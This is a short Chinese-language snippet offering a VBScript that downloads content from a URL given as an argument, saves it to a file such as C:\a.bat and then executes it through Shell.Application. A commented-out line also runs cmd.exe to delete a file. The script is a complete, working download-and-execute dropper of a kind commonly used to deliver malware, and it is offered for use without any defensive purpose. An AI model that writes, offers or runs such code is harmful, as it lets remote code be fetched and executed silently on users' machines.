簡單的從網頁上下載保存到文件的vb腳本

'說明：
'這是一個從某一個網站下載內容保存到一個文件，然後執行的vb腳本代碼
'其中有兩個參數，一個是要保存到的文件的路徑，如（C:\a.bat)
'另一個參數是訪問的網頁的url
fn=wscript.Arguments(1):
set x=CreateObject("Microsoft.XMLHTTP"):
x.Open "GET",wscript.Arguments(0),0:
x.Send():
set m=CreateObject("ADODB.Stream"):
m.Mode=3:
m.Type=1:
m.Open():
m.Write x.ResponseBody:
m.SaveToFile fn,2:
set a=CreateObject("shell.application"):
a.shellexecute fn:
'a.shellexecute "cmd.exe","/c del C:\sa.txt"